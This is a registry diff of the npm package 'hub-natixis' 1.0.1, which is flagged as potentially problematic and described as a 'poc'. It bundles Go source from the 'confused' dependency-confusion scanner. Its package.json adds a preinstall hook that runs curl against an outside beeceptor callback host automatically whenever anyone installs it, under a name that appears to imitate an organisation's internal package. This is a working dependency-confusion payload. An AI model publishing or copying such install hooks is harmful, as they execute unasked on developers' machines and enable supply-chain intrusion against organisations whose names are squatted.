hub-natixis 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of hub-natixis might be problematic. Click here for more details.
- package/.github/workflows/codeql-analysis.yml +67 -0
- package/.github/workflows/golangci-lint.yml +22 -0
- package/.goreleaser.yml +40 -0
- package/CHANGELOG.md +31 -0
- package/LICENSE +21 -0
- package/README.md +103 -0
- package/composer.go +105 -0
- package/confused +0 -0
- package/go.mod +3 -0
- package/index.js +47 -0
- package/interfaces.go +11 -0
- package/main.go +109 -0
- package/mvn.go +120 -0
- package/mvnparser.go +139 -0
- package/npm.go +210 -0
- package/package-lock-2.json +111 -0
- package/package-lock.json.1 +35006 -0
- package/package.json +20 -0
- package/pip.go +99 -0
- package/rubygems.go +149 -0
- package/util.go +16 -0
package/package.json
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
{
|
2
|
+
"name": "hub-natixis",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "poc by foysal1197",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl https://ase33.free.beeceptor.com"
|
9
|
+
},
|
10
|
+
"repository": {
|
11
|
+
"type": "git",
|
12
|
+
"url": "git+https://github.com/visma-prodsec/confused.git"
|
13
|
+
},
|
14
|
+
"author": "",
|
15
|
+
"license": "ISC",
|
16
|
+
"bugs": {
|
17
|
+
"url": "https://github.com/visma-prodsec/confused/issues"
|
18
|
+
},
|
19
|
+
"homepage": "https://github.com/visma-prodsec/confused#readme"
|
20
|
+
}
|
package/pip.go
ADDED
@@ -0,0 +1,99 @@
|
|
1
|
+
package main
|
2
|
+
|
3
|
+
import (
|
4
|
+
"fmt"
|
5
|
+
"io/ioutil"
|
6
|
+
"net/http"
|
7
|
+
"strings"
|
8
|
+
)
|
9
|
+
|
10
|
+
// PythonLookup represents a collection of python packages to be tested for dependency confusion.
|
11
|
+
type PythonLookup struct {
|
12
|
+
Packages []string
|
13
|
+
Verbose bool
|
14
|
+
}
|
15
|
+
|
16
|
+
// NewPythonLookup constructs a `PythonLookup` struct and returns it
|
17
|
+
func NewPythonLookup(verbose bool) PackageResolver {
|
18
|
+
return &PythonLookup{Packages: []string{}, Verbose: verbose}
|
19
|
+
}
|
20
|
+
|
21
|
+
// ReadPackagesFromFile reads package information from a python `requirements.txt` file
|
22
|
+
//
|
23
|
+
// Returns any errors encountered
|
24
|
+
func (p *PythonLookup) ReadPackagesFromFile(filename string) error {
|
25
|
+
rawfile, err := ioutil.ReadFile(filename)
|
26
|
+
if err != nil {
|
27
|
+
return err
|
28
|
+
}
|
29
|
+
line := ""
|
30
|
+
for _, l := range strings.Split(string(rawfile), "\n") {
|
31
|
+
l = strings.TrimSpace(l)
|
32
|
+
if strings.HasPrefix(l, "#") {
|
33
|
+
continue
|
34
|
+
}
|
35
|
+
if len(l) > 0 {
|
36
|
+
// Support line continuation
|
37
|
+
if strings.HasSuffix(l, "\\") {
|
38
|
+
line += l[:len(l) - 1]
|
39
|
+
continue
|
40
|
+
}
|
41
|
+
line += l
|
42
|
+
pkgrow := strings.FieldsFunc(line, p.pipSplit)
|
43
|
+
if len(pkgrow) > 0 {
|
44
|
+
p.Packages = append(p.Packages, strings.TrimSpace(pkgrow[0]))
|
45
|
+
}
|
46
|
+
// reset the line variable
|
47
|
+
line = ""
|
48
|
+
}
|
49
|
+
}
|
50
|
+
return nil
|
51
|
+
}
|
52
|
+
|
53
|
+
// PackagesNotInPublic determines if a python package does not exist in the pypi package repository.
|
54
|
+
//
|
55
|
+
// Returns a slice of strings with any python packages not in the pypi package repository
|
56
|
+
func (p *PythonLookup) PackagesNotInPublic() []string {
|
57
|
+
notavail := []string{}
|
58
|
+
for _, pkg := range p.Packages {
|
59
|
+
if !p.isAvailableInPublic(pkg) {
|
60
|
+
notavail = append(notavail, pkg)
|
61
|
+
}
|
62
|
+
}
|
63
|
+
return notavail
|
64
|
+
}
|
65
|
+
|
66
|
+
func (p *PythonLookup) pipSplit(r rune) bool {
|
67
|
+
delims := []rune{
|
68
|
+
'=',
|
69
|
+
'<',
|
70
|
+
'>',
|
71
|
+
'!',
|
72
|
+
' ',
|
73
|
+
'~',
|
74
|
+
'#',
|
75
|
+
'[',
|
76
|
+
}
|
77
|
+
return inSlice(r, delims)
|
78
|
+
}
|
79
|
+
|
80
|
+
// isAvailableInPublic determines if a python package exists in the pypi package repository.
|
81
|
+
//
|
82
|
+
// Returns true if the package exists in the pypi package repository.
|
83
|
+
func (p *PythonLookup) isAvailableInPublic(pkgname string) bool {
|
84
|
+
if p.Verbose {
|
85
|
+
fmt.Print("Checking: https://pypi.org/project/" + pkgname + "/ : ")
|
86
|
+
}
|
87
|
+
resp, err := http.Get("https://pypi.org/project/" + pkgname + "/")
|
88
|
+
if err != nil {
|
89
|
+
fmt.Printf(" [W] Error when trying to request https://pypi.org/project/"+pkgname+"/ : %s\n", err)
|
90
|
+
return false
|
91
|
+
}
|
92
|
+
if p.Verbose {
|
93
|
+
fmt.Printf("%s\n", resp.Status)
|
94
|
+
}
|
95
|
+
if resp.StatusCode == http.StatusOK {
|
96
|
+
return true
|
97
|
+
}
|
98
|
+
return false
|
99
|
+
}
|
package/rubygems.go
ADDED
@@ -0,0 +1,149 @@
|
|
1
|
+
package main
|
2
|
+
|
3
|
+
import (
|
4
|
+
"bufio"
|
5
|
+
"encoding/json"
|
6
|
+
"fmt"
|
7
|
+
"io/ioutil"
|
8
|
+
"net/http"
|
9
|
+
"os"
|
10
|
+
"strings"
|
11
|
+
"time"
|
12
|
+
)
|
13
|
+
|
14
|
+
type Gem struct {
|
15
|
+
Remote string
|
16
|
+
IsLocal bool
|
17
|
+
IsRubyGems bool
|
18
|
+
IsTransitive bool
|
19
|
+
Name string
|
20
|
+
Version string
|
21
|
+
}
|
22
|
+
|
23
|
+
type RubyGemsResponse struct {
|
24
|
+
Name string `json:"name"`
|
25
|
+
Downloads int64 `json:"downloads"`
|
26
|
+
Version string `json:"version"`
|
27
|
+
}
|
28
|
+
|
29
|
+
// RubyGemsLookup represents a collection of rubygems packages to be tested for dependency confusion.
|
30
|
+
type RubyGemsLookup struct {
|
31
|
+
Packages []Gem
|
32
|
+
Verbose bool
|
33
|
+
}
|
34
|
+
|
35
|
+
// NewRubyGemsLookup constructs an `RubyGemsLookup` struct and returns it.
|
36
|
+
func NewRubyGemsLookup(verbose bool) PackageResolver {
|
37
|
+
return &RubyGemsLookup{Packages: []Gem{}, Verbose: verbose}
|
38
|
+
}
|
39
|
+
|
40
|
+
// ReadPackagesFromFile reads package information from a Gemfile.lock file
|
41
|
+
//
|
42
|
+
// Returns any errors encountered
|
43
|
+
func (r *RubyGemsLookup) ReadPackagesFromFile(filename string) error {
|
44
|
+
file, err := os.Open(filename)
|
45
|
+
if err != nil {
|
46
|
+
return err
|
47
|
+
}
|
48
|
+
defer file.Close()
|
49
|
+
scanner := bufio.NewScanner(file)
|
50
|
+
var remote string
|
51
|
+
for scanner.Scan() {
|
52
|
+
line := scanner.Text()
|
53
|
+
trimmedLine := strings.TrimSpace(line)
|
54
|
+
if strings.HasPrefix(trimmedLine, "remote:") {
|
55
|
+
remote = strings.TrimSpace(strings.SplitN(trimmedLine, ":", 2)[1])
|
56
|
+
} else if trimmedLine == "revision:" {
|
57
|
+
continue
|
58
|
+
} else if trimmedLine == "branch:" {
|
59
|
+
continue
|
60
|
+
} else if trimmedLine == "GIT" {
|
61
|
+
continue
|
62
|
+
} else if trimmedLine == "GEM" {
|
63
|
+
continue
|
64
|
+
} else if trimmedLine == "PATH" {
|
65
|
+
continue
|
66
|
+
} else if trimmedLine == "PLATFORMS" {
|
67
|
+
break
|
68
|
+
} else if trimmedLine == "specs:" {
|
69
|
+
continue
|
70
|
+
} else if len(trimmedLine) > 0 {
|
71
|
+
parts := strings.SplitN(trimmedLine, " ", 2)
|
72
|
+
name := strings.TrimSpace(parts[0])
|
73
|
+
var version string
|
74
|
+
if len(parts) > 1 {
|
75
|
+
version = strings.TrimRight(strings.TrimLeft(parts[1], "("), ")")
|
76
|
+
} else {
|
77
|
+
version = ""
|
78
|
+
}
|
79
|
+
r.Packages = append(r.Packages, Gem{
|
80
|
+
Remote: remote,
|
81
|
+
IsLocal: !strings.HasPrefix(remote, "http"),
|
82
|
+
IsRubyGems: strings.HasPrefix(remote, "https://rubygems.org"),
|
83
|
+
IsTransitive: countLeadingSpaces(line) == 6,
|
84
|
+
Name: name,
|
85
|
+
Version: version,
|
86
|
+
})
|
87
|
+
} else {
|
88
|
+
continue
|
89
|
+
}
|
90
|
+
}
|
91
|
+
return nil
|
92
|
+
}
|
93
|
+
|
94
|
+
// PackagesNotInPublic determines if a rubygems package does not exist in the public rubygems package repository.
|
95
|
+
//
|
96
|
+
// Returns a slice of strings with any rubygem packages not in the public rubygems package repository
|
97
|
+
func (r *RubyGemsLookup) PackagesNotInPublic() []string {
|
98
|
+
notavail := []string{}
|
99
|
+
for _, pkg := range r.Packages {
|
100
|
+
if pkg.IsLocal || !pkg.IsRubyGems {
|
101
|
+
continue
|
102
|
+
}
|
103
|
+
if !r.isAvailableInPublic(pkg.Name, 0) {
|
104
|
+
notavail = append(notavail, pkg.Name)
|
105
|
+
}
|
106
|
+
}
|
107
|
+
return notavail
|
108
|
+
}
|
109
|
+
|
110
|
+
// isAvailableInPublic determines if a rubygems package exists in the public rubygems.org package repository.
|
111
|
+
//
|
112
|
+
// Returns true if the package exists in the public rubygems package repository.
|
113
|
+
func (r *RubyGemsLookup) isAvailableInPublic(pkgname string, retry int) bool {
|
114
|
+
if retry > 3 {
|
115
|
+
fmt.Printf(" [W] Maximum number of retries exhausted for package: %s\n", pkgname)
|
116
|
+
return false
|
117
|
+
}
|
118
|
+
url := fmt.Sprintf("https://rubygems.org/api/v1/gems/%s.json", pkgname)
|
119
|
+
if r.Verbose {
|
120
|
+
fmt.Printf("Checking: %s : \n", url)
|
121
|
+
}
|
122
|
+
resp, err := http.Get(url)
|
123
|
+
if err != nil {
|
124
|
+
fmt.Printf(" [W] Error when trying to request %s: %s\n", url, err)
|
125
|
+
return false
|
126
|
+
}
|
127
|
+
defer resp.Body.Close()
|
128
|
+
if r.Verbose {
|
129
|
+
fmt.Printf("%s\n", resp.Status)
|
130
|
+
}
|
131
|
+
if resp.StatusCode == http.StatusOK {
|
132
|
+
rubygemsResp := RubyGemsResponse{}
|
133
|
+
body, _ := ioutil.ReadAll(resp.Body)
|
134
|
+
err = json.Unmarshal(body, &rubygemsResp)
|
135
|
+
if err != nil {
|
136
|
+
// This shouldn't ever happen because if it doesn't return JSON, it likely has returned
|
137
|
+
// a non-200 status code.
|
138
|
+
fmt.Printf(" [W] Error when trying to unmarshal response from %s: %s\n", url, err)
|
139
|
+
return false
|
140
|
+
}
|
141
|
+
return true
|
142
|
+
} else if resp.StatusCode == 429 {
|
143
|
+
fmt.Printf(" [!] Server responded with 429 (Too many requests), throttling and retrying...\n")
|
144
|
+
time.Sleep(10 * time.Second)
|
145
|
+
retry = retry + 1
|
146
|
+
return r.isAvailableInPublic(pkgname, retry)
|
147
|
+
}
|
148
|
+
return false
|
149
|
+
}
|
package/util.go
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
package main
|
2
|
+
|
3
|
+
import "strings"
|
4
|
+
|
5
|
+
func inSlice(what rune, where []rune) bool {
|
6
|
+
for _, r := range where {
|
7
|
+
if r == what {
|
8
|
+
return true
|
9
|
+
}
|
10
|
+
}
|
11
|
+
return false
|
12
|
+
}
|
13
|
+
|
14
|
+
func countLeadingSpaces(line string) int {
|
15
|
+
return len(line) - len(strings.TrimLeft(line, " "))
|
16
|
+
}
|